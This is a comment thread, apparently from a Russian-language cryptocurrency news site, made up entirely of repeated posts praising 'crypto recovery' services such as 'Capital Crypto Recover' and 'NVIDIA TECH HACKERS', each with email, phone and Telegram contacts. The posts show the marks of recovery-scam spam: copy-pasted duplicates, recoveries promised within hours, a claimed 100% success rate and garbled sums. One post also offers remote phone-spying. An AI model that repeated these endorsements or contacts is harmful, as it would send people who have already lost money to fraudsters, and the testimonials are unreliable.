    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 20:17 tyleradams

    As time passes, there are an increasing number of frauds involving Bitcoin and other cryptocurrencies. Although there are many individuals who advertise recovering money online, people should use caution in dealing, especially when money is involved. You can trust NVIDIA TECH HACKERS [[email protected]], I promise. They are the top internet recovery company, and as their names indicate, your money is reclaimed as soon as feasible. My bitcoin was successfully retrieved in large part thanks to NVIDIA TECH HACKERS. Ensure that you get top-notch service; NVIDIA TECH HACKERS provides evidence of its work; and payment is only made when the service has been completed to your satisfaction. Reach them via email: [email protected] on google mail

  • 17.10.25 20:20 lindseyvonn

    Have you gotten yourself involved in a cryptocurrency scam or any scam at all? If yes, know that you are not alone, there are a lot of people in this same situation. I'm a Health Worker and was a victim of a cryptocurrency scam that cost me a lot of money. This happened a few weeks ago, there’s only one solution which is to talk to the right people, if you don’t do this you will end up being really depressed. I was really devastated until went on LinkedIn one evening after my work hours and i saw lots of reviews popped up on my feed about [email protected], I sent an email to the team who came highly recommended - [email protected] I started seeing some hope for myself from the moment I sent them an email. The good part is they made the entire process stress free for me, i literally sat and waited for them to finish and I received what I lost in my wallet

  • 17.10.25 20:22 richardcharles

    I would recommend NVIDIA TECH HACKERS to anyone that needs this service. I decided to get into crypto investment and I ended up getting my crypto lost to an investor late last year. The guy who was supposed to be managing my account turned out to be a scammer all along. I invested 56,000 USD and at first, my reading and profit margins were looking good. I started getting worried when I couldn’t make withdrawals and realized that I’ve been scammed. I came across some of the testimonials that people said about NVIDIA TECH HACKERS and how helpful he has been in recovering their funds. I immediately contacted him in his mail at [email protected] so I can get his assistance. One week into the recovery process the funds were traced and recovered back from the scammer. I can't appreciate him enough for his professionalism.

  • 17.10.25 20:23 stevekalfman

    If you need a hacker for scam crypto recovery or mobile spy access remotely kindly reach out to [email protected] for quick response, I hired this hacker and he did a nice job. before NVIDIA TECH HACKERS, I met with different hacker's online which turns out to be scam, this NVIDIA TECH HACKERS case was different and he is the trusted hacker I can vote and refer.

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 21.10.25 08:39 debby131

    Given how swiftly the cryptocurrency market moves, losing USDT may be a terrifying and upsetting experience. Whether you experienced a technical problem, a transaction error, or were the victim of fraud, it is important to understand the potential recovery routes. Marie can assist you in determining the specific actions you can take to attempt to regain your lost USDT when you need guidance and clarification. You can reach her via email at [email protected] and WhatsApp at +1 7127594675.

  • 21.10.25 11:45 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 21.10.25 11:45 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 22.10.25 04:48 MATT PHILLIP

    I never imagined I’d fall for a crypto romance scam but it happened. Over the course of a few months, I sent nearly $150,000 worth of Bitcoin to someone I genuinely believed I was building a future with. When they disappeared without a trace, I was left heartbroken, humiliated, and financially devastated. For a long time, I didn’t tell anyone. I felt ashamed. But eventually, while searching for answers, I came across a Reddit thread that mentioned Agent Jasmine Lopez. I reached out, not expecting much. To my surprise, she treated me with kindness, not judgment. She used advanced tools like blockchain forensics, IP tracing, and smart contract analysis and with persistence and legal support, she was able to recover nearly 85% of what I lost. I know not everyone gets that kind of outcome, but thanks to [email protected] WhatsApp at +44 736-644-5035, I’ve started to reclaim not just my assets, but my confidence and peace of mind. If you’re going through something similar, you’re not alone and there is hope.

  • 22.10.25 07:36 donnacollier

    HOW I RECOVERED MY BITCOIN FROM CRYPTO INVESTMENT SCAM HOW I RECOVERED MY BITCOIN FROM CRYPTO INVESTMENT SCAM Hello everyone l’m by name Donna collier I live in urbandale 3 weeks ago was the darkest days of my life, i invested my hard earned money the sum of $123,000 into a crypto currency platform I was introduced to by a friend I met online everything happen so fast I was promised 300% of return of investment when it was time for me to cash out my investment and profit the platform was down I was so diversitated confused and tried to end it all then I came across upswing Ai a renowned expert in crypto currency and digital assets recovery at first it seem impossible after taking up my case within the the next 48 hours they where able to track down those fraud stars and recover my money I can’t recommend them enough to any one facing likewise change I will recommend you contact upswing Ai on Contact Details: WhatsApp +,1,2,0,2,8,1,0,1,4,0,7 E m a i l @Upswing-ai.com Website https: // u psw ing-ai. com/ platform /

  • 22.10.25 11:59 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 22.10.25 11:59 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 22.10.25 16:31 MATT PHILLIP

    I never imagined I’d fall for a crypto romance scam but it happened. Over the course of a few months, I sent nearly $150,000 worth of Bitcoin to someone I genuinely believed I was building a future with. When they disappeared without a trace, I was left heartbroken, humiliated, and financially devastated. For a long time, I didn’t tell anyone. I felt ashamed. But eventually, while searching for answers, I came across a Reddit thread that mentioned Agent Jasmine Lopez. I reached out, not expecting much. To my surprise, she treated me with kindness, not judgment. She used advanced tools like blockchain forensics, IP tracing, and smart contract analysis and with persistence and legal support, she was able to recover nearly 85% of what I lost. I know not everyone gets that kind of outcome, but thanks to [email protected] WhatsApp at +44 736-644-5035, I’ve started to reclaim not just my assets, but my confidence and peace of mind. If you’re going through something similar, you’re not alone and there is hope.

  • 23.10.25 01:52 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 23.10.25 01:52 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 23.10.25 15:47 MATT PHILLIP

    I never imagined I’d fall for a crypto romance scam but it happened. Over the course of a few months, I sent nearly $150,000 worth of Bitcoin to someone I genuinely believed I was building a future with. When they disappeared without a trace, I was left heartbroken, humiliated, and financially devastated. For a long time, I didn’t tell anyone. I felt ashamed. But eventually, while searching for answers, I came across a Reddit thread that mentioned Agent Jasmine Lopez. I reached out, not expecting much. To my surprise, she treated me with kindness, not judgment. She used advanced tools like blockchain forensics, IP tracing, and smart contract analysis and with persistence and legal support, she was able to recover nearly 85% of what I lost. I know not everyone gets that kind of outcome, but thanks to [email protected] WhatsApp at +44 736-644-5035, I’ve started to reclaim not just my assets, but my confidence and peace of mind. If you’re going through something similar, you’re not alone and there is hope.

  • 23.10.25 21:43 patricialovick86

    How To Recover Your Bitcoin Without Falling Victim To Scams: A  Testimony Experience With Capital Crypto Recover Services, Contact Telegram: @Capitalcryptorecover Dear Everyone, I would like to take a moment to share my positive experience with Capital Crypto Recover Services. Initially, I was unsure if it would be possible to recover my stolen bitcoins. However, with their expertise and professionalism, I was able to fully recover my funds. Unfortunately, many individuals fall victim to scams in the cryptocurrency space, especially those involving fraudulent investment platforms. However, I advise caution, as not all recovery services are legitimate. I personally lost $273,000 worth of Bitcoin from my Binance account due to a deceptive platform. If you have suffered a similar loss, you may be considering crypto recovery, The Capital Crypto Recover is the most knowledgeable and effective Capital Crypto Recovery Services assisted me in recovering my stolen funds within 24 hours, after getting access to my wallet. Their service was not only prompt but also highly professional and effective, and many recovery services may not be trustworthy. Therefore, I highly recommend Capital Crypto Recover to you. i do always research and see reviews about their service, For assistance finding your misplaced cryptocurrency, get in touch with them, They do their jobs quickly and excellently, Stay safe and vigilant in the crypto world. Contact: [email protected]  You can reach them via email at [email protected] OR Call/Text Number +1 (336)390-6684 his contact website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 23.10.25 21:43 patricialovick86

    How To Recover Your Bitcoin Without Falling Victim To Scams: A  Testimony Experience With Capital Crypto Recover Services, Contact Telegram: @Capitalcryptorecover Dear Everyone, I would like to take a moment to share my positive experience with Capital Crypto Recover Services. Initially, I was unsure if it would be possible to recover my stolen bitcoins. However, with their expertise and professionalism, I was able to fully recover my funds. Unfortunately, many individuals fall victim to scams in the cryptocurrency space, especially those involving fraudulent investment platforms. However, I advise caution, as not all recovery services are legitimate. I personally lost $273,000 worth of Bitcoin from my Binance account due to a deceptive platform. If you have suffered a similar loss, you may be considering crypto recovery, The Capital Crypto Recover is the most knowledgeable and effective Capital Crypto Recovery Services assisted me in recovering my stolen funds within 24 hours, after getting access to my wallet. Their service was not only prompt but also highly professional and effective, and many recovery services may not be trustworthy. Therefore, I highly recommend Capital Crypto Recover to you. i do always research and see reviews about their service, For assistance finding your misplaced cryptocurrency, get in touch with them, They do their jobs quickly and excellently, Stay safe and vigilant in the crypto world. Contact: [email protected]  You can reach them via email at [email protected] OR Call/Text Number +1 (336)390-6684 his contact website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Финансовые рынки от TradingView
Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon